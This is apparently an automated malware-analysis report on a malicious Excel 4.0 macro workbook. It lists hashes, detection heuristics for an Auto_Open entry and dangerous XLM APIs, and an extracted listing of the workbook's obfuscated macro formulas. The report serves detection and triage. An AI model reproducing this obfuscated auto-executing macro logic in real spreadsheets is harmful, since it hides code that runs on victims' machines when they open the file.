Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5a1270b4a8fcd849…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:38:58 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: 7d45eb3f4d5f4a71699f22bfecc53124 SHA-1: 9a6d8b600ccad7bddbd09f9bc59c604b87a38a6d SHA-256: 5a1270b4a8fcd84938cb3586422f8f0e470cd7c7247bd01c736698446868a48f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6875 bytes
SHA-256: e3d126db4e95a45c77aee2f6560eb860f972962ef4314caba047304402d72ac8
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  vzhCVBePiGG
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G170 
' 0018     21 LABEL : Cell Value, String Constant - BPIpCB len=0 
' 0018     27 LABEL : Cell Value, String Constant - cdNDJRYaXDli len=0 
' 0018     24 LABEL : Cell Value, String Constant - CqyzBohYB len=0 
' 0018     23 LABEL : Cell Value, String Constant - DjTKGQsM len=0 
' 0018     22 LABEL : Cell Value, String Constant - FfmpoaR len=0 
' 0018     27 LABEL : Cell Value, String Constant - hSGmrYUIcHVb len=0 
' 0018     24 LABEL : Cell Value, String Constant - hsZrSYHnG len=0 
' 0018     24 LABEL : Cell Value, String Constant - hXvWScvzN len=0 
' 0018     26 LABEL : Cell Value, String Constant - IfNkYsYdsiW len=0 
' 0018     23 LABEL : Cell Value, String Constant - jrqFVGXZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - lcVcmLCM len=0 
' 0018     24 LABEL : Cell Value, String Constant - LppfvBleX len=0 
' 0018     21 LABEL : Cell Value, String Constant - MApFaG len=0 
' 0018     22 LABEL : Cell Value, String Constant - ndceqQP len=0 
' 0018     26 LABEL : Cell Value, String Constant - oUPPQWndtbg len=0 
' 0018     20 LABEL : Cell Value, String Constant - pYydx len=0 
' 0018     24 LABEL : Cell Value, String Constant - QwoeQQmhj len=0 
' 0018     27 LABEL : Cell Value, String Constant - UFviiUazvSjw len=0 
' 0018     23 LABEL : Cell Value, String Constant - VIzOAXOq len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZPpBJ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  vzhCVBePiGG,P47,"",-822.00000000000000000000
'  vzhCVBePiGG,P48,"",-83.00000000000000000000
'  vzhCVBePiGG,P49,"",-320.00000000000000000000
'  vzhCVBePiGG,P50,"",-142.00000000000000000000
'  vzhCVBePiGG,P51,"",-871.00000000000000000000
'  vzhCVBePiGG,P52,"",388.00000000000000000000
'  vzhCVBePiGG,G77,"SET.NAME("hXvWScvzN",0+VALUE("0"))",""
'  vzhCVBePiGG,G82,"SET.NAME("CqyzBohYB",hXvWScvzN)",""
'  vzhCVBePiGG,G84,"SET.NAME("lcVcmLCM",hXvWScvzN)",""
'  vzhCVBePiGG,G88,"SET.NAME("cdNDJRYaXDli",COUNTA(IfNkYsYdsiW))",""
'  vzhCVBePiGG,G93,"SET.NAME("hsZrSYHnG",COUNTA(FfmpoaR))",""
'  vzhCVBePiGG,G98,[],""
'  vzhCVBePiGG,G103,"SET.NAME("jrqFVGXZ","")",""
'  vzhCVBePiGG,G105,"CqyzBohYB",""
'  vzhCVBePiGG,G107,"SET.NAME("MApFaG",HLOOKUP("*",IfNkYsYdsiW,CqyzBohYB,FALSE))",""
'  vzhCVBePiGG,G111,"UFviiUazvSjw",""
'  vzhCVBePiGG,G116,"SET.NAME("LppfvBleX",hXvWScvzN)",""
'  vzhCVBePiGG,G118,[],""
'  vzhCVBePiGG,G120,"LppfvBleX",""
'  vzhCVBePiGG,G124,"ZPpBJ",""
'  vzhCVBePiGG,G126,"BPIpCB",""
'  vzhCVBePiGG,G130,"DjTKGQsM",""
'  vzhCVBePiGG,G133,"SET.NAME("hSGmrYUIcHVb",VALUE(HLOOKUP("*",FfmpoaR,DjTKGQsM,FALSE)))",""
'  vzhCVBePiGG,G137,"oUPPQWndtbg",""
'  vzhCVBePiGG,G141,"jrqFVGXZ",""
'  vzhCVBePiGG,G145,"lcVcmLCM",""
'  vzhCVBePiGG,G147,NEXT(),""
'  vzhCVBePiGG,G151,"VIzOAXOq",""
'  vzhCVBePiGG,G154,[],""
'  vzhCVBePiGG,G158,"ndceqQP",""
'  vzhCVBePiGG,G163,NEXT(),""
'  vzhCVBePiGG,G168,RETURN(),""
'  vzhCVBePiGG,G196,"SET.NAME("pYydx",G77)",""
'  vzhCVBePiGG,G198,"IfNkYsYdsiW",""
'  vzhCVBePiGG,G203,"SET.NAME("FfmpoaR",R65C12)",""
'  vzhCVBePiGG,G207,"SET.NAME("ndceqQP",213)",""
'  vzhCVBePiGG,G210,"SET.NAME("QwoeQQmhj",7)",""
'  vzhCVBePiGG,G212,pYydx(),""
'  vzhCVBePiGG,G213,HALT(),""

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